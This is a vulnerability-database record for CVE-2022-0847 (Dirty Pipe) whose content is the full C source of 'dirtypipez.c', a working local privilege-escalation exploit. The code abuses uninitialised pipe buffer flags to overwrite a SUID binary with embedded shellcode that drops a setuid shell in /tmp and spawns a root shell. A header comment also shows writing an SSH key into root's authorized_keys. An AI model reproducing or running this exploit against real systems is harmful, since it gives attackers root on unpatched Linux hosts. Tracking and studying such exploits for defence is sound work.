{"uuid": "cd4a708d-2da9-4ac8-8916-56904c056d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://gist.github.com/spynika/19d78c3423bdca400fa5118ff44c445b", "content": "//\n// dirtypipez.c\n//\n// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn\n// a root shell. (and attempts to restore the damaged binary as well)\n//\n// Wow, Dirty CoW reloaded!\n//\n// -- blasty  // 2022-03-07\n/* SPDX-License-Identifier: GPL-2.0 */\n/*\n * Copyright 2022 CM4all GmbH / IONOS SE\n *\n * author: Max Kellermann \n *\n * Proof-of-concept exploit for the Dirty Pipe\n * vulnerability (CVE-2022-0847) caused by an uninitialized\n * \"pipe_buffer.flags\" variable.  It demonstrates how to overwrite any\n * file contents in the page cache, even if the file is not permitted\n * to be written, immutable or on a read-only mount.\n *\n * This exploit requires Linux 5.8 or later; the code path was made\n * reachable by commit f6dd975583bd (\"pipe: merge\n * anon_pipe_buf*_ops\").  The commit did not introduce the bug, it was\n * there before, it just provided an easy way to exploit it.\n *\n * There are two major limitations of this exploit: the offset cannot\n * be on a page boundary (it needs to write one byte before the offset\n * to add a reference to this page to the pipe), and the write cannot\n * cross a page boundary.\n *\n * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'\n *\n * Further explanation: https://dirtypipe.cm4all.com/\n */\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifndef PAGE_SIZE\n#define PAGE_SIZE 4096\n#endif\n// small (linux x86_64) ELF file matroshka doll that does;\n//   fd = open(\"/tmp/sh\", O_WRONLY | O_CREAT | O_TRUNC);\n//   write(fd, elfcode, elfcode_len)\n//   chmod(\"/tmp/sh\", 04755)\n//   close(fd);\n//   exit(0);\n//\n// the dropped ELF simply does:\n//   setuid(0);\n//   setgid(0);\n//   execve(\"/bin/sh\", [\"/bin/sh\", NULL], [NULL]);\nunsigned char elfcode[] = {\n    /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,\n    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,\n    0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,\n    0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,\n    0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,\n    0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,\n    0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,\n    0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,\n    0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,\n    0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,\n    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,\n    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,\n    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,\n    0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,\n    0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,\n    0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,\n    0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,\n    0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00\n};\n/**\n * Create a pipe where all \"bufs\" on the pipe_inode_info ring have the\n * PIPE_BUF_FLAG_CAN_MERGE flag set.\n */\nstatic void prepare_pipe(int p[2])\n{\n    if (pipe(p)) abort();\n    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);\n    static char buffer[4096];\n    /* fill the pipe completely; each pipe_buffer will now have\n       the PIPE_BUF_FLAG_CAN_MERGE flag */\n    for (unsigned r = pipe_size; r &gt; 0;) {\n        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;\n        write(p[1], buffer, n);\n        r -= n;\n    }\n    /* drain the pipe, freeing all pipe_buffer instances (but\n       leaving the flags initialized) */\n    for (unsigned r = pipe_size; r &gt; 0;) {\n        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;\n        read(p[0], buffer, n);\n        r -= n;\n    }\n    /* the pipe is now empty, and if somebody adds a new\n       pipe_buffer without initializing its \"flags\", the buffer\n       will be mergeable */\n}\nint hax(char *filename, long offset, uint8_t *data, size_t len) {\n    /* open the input file and validate the specified offset */\n    const int fd = open(filename, O_RDONLY); // yes, read-only! :-)\n    if (fd &lt; 0) {\n        perror(\"open failed\");\n        return -1;\n    }\n    struct stat st;\n    if (fstat(fd, &amp;st)) {\n        perror(\"stat failed\");\n        return -1;\n    }\n    /* create the pipe with all flags initialized with\n       PIPE_BUF_FLAG_CAN_MERGE */\n    int p[2];\n    prepare_pipe(p);\n    /* splice one byte from before the specified offset into the\n       pipe; this will add a reference to the page cache, but\n       since copy_page_to_iter_pipe() does not initialize the\n       \"flags\", PIPE_BUF_FLAG_CAN_MERGE is still set */\n    --offset;\n    ssize_t nbytes = splice(fd, &amp;offset, p[1], NULL, 1, 0);\n    if (nbytes &lt; 0) {\n        perror(\"splice failed\");\n        return -1;\n    }\n    if (nbytes == 0) {\n        fprintf(stderr, \"short splice\\n\");\n        return -1;\n    }\n    /* the following write will not create a new pipe_buffer, but\n       will instead write into the page cache, because of the\n       PIPE_BUF_FLAG_CAN_MERGE flag */\n    nbytes = write(p[1], data, len);\n    if (nbytes &lt; 0) {\n        perror(\"write failed\");\n        return -1;\n    }\n    if ((size_t)nbytes &lt; len) {\n        fprintf(stderr, \"short write\\n\");\n        return -1;\n    }\n    close(fd);\n    return 0;\n}\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Usage: %s SUID\\n\", argv[0]);\n        return EXIT_FAILURE;\n    }\n    char *path = argv[1];\n    uint8_t *data = elfcode;\n    int fd = open(path, O_RDONLY);\n    uint8_t *orig_bytes = malloc(sizeof(elfcode));\n    lseek(fd, 1, SEEK_SET);\n    read(fd, orig_bytes, sizeof(elfcode));\n    close(fd);\n    printf(\"[+] hijacking suid binary..\\n\");\n    if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {\n        printf(\"[~] failed\\n\");\n        return EXIT_FAILURE;\n    }\n    printf(\"[+] dropping suid shell..\\n\");\n    system(path);\n    printf(\"[+] restoring suid binary..\\n\");\n    if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {\n        printf(\"[~] failed\\n\");\n        return EXIT_FAILURE;\n    }\n    printf(\"[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\\n\");\n    system(\"/tmp/sh\");\n    return EXIT_SUCCESS;\n}", "creation_timestamp": "2026-05-18T02:19:14.000000Z"}